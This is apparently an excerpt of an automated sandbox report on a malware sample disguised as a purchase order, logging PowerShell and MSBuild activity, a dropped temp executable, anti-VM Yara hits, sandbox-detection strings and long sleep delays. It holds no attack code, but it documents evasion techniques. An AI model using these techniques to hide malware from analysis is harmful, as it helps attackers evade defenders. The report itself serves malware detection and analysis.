Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: 0000000B.00000002.2281406478.0000000004CD6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2241224175.0000000004876000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: BQ_PO#385995.exe PID: 2244, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 4876, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 4976, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: BQ_PO#385995.exe, 00000000.00000002.2258559792.000002760A756000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: WINE_GET_UNIX_FILE_NAME
Source: BQ_PO#385995.exe, 00000000.00000002.2258559792.000002760A756000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Memory allocated: 27608940000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Memory allocated: 27622400000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 1980000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 33C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 31D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Memory allocated: 1010000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Memory allocated: 2DC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Memory allocated: 2CE0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 599891	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 599672	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 599344	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 599125	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 599016	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 598907	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 598774	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 598647	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 598531	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 598313	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 598184	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 598061	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 597875	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 597672	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 597560	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 597453	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 597337	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 597234	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 597119	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 597015	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 596906	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 596797	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 596687	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 596578	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 596469	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 596359	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 596250	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 596133	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 596031	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 595922	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 595813	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 595688	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 595563	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 595453	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 595326	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 595216	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 595110	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 594989	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 594844	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 594722	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 594594	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 594469	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 594360	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 594235	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 594110	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 593985	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 593860	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 593735	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 593610	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 593485	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Window / User API: threadDelayed 3047	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Window / User API: threadDelayed 6775	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6957	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2762	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8091	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1632	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Window / User API: threadDelayed 5085	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Window / User API: threadDelayed 4731	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 5052	Thread sleep count: 37 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 5052	Thread sleep time: -34126476536362649s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 404	Thread sleep count: 3047 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 404	Thread sleep count: 6775 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5948	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6552	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe TID: 1616	Thread sleep count: 34 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe TID: 1616	Thread sleep time: -31359464925306218s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe TID: 1616	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe TID: 1616	Thread sleep time: -599891s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe TID: 7028	Thread sleep count: 5085 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe TID: 7028	Thread sleep count: 4731 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe TID: 1616	Thread sleep time: -599781s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe TID: 1616	Thread sleep time: -599672s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe TID: 1616	Thread sleep time: -599562s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe TID: 1616	Thread sleep time: -599453s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe TID: 1616	Thread sleep time: -599344s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe TID: 1616	Thread sleep time: -599234s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe TID: 1616	Thread sleep time: -599125s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe TID: 1616	Thread sleep time: -599016s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe TID: 1616	Thread sleep time: -598907s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe TID: 1616	Thread sleep time: -598774s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe TID: 1616	Thread sleep time: -598647s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe TID: 1616	Thread sleep time: -598531s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe TID: 1616	Thread sleep time: -598313s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe TID: 1616	Thread sleep time: -598184s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe TID: 1616	Thread sleep time: -598061s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe TID: 1616	Thread sleep time: -597875s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe TID: 1616	Thread sleep time: -597672s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe TID: 1616	Thread sleep time: -597560s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe TID: 1616	Thread sleep time: -597453s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe TID: 1616	Thread sleep time: -597337s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe TID: 1616	Thread sleep time: -597234s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe TID: 1616	Thread sleep time: -597119s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe TID: 1616	Thread sleep time: -597015s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe TID: 1616	Thread sleep time: -596906s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe TID: 1616	Thread sleep time: -596797s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe TID: 1616	Thread sleep time: -596687s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe TID: 1616	Thread sleep time: -596578s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe TID: 1616	Thread sleep time: -596469s >= -30000s	Jump to behavior
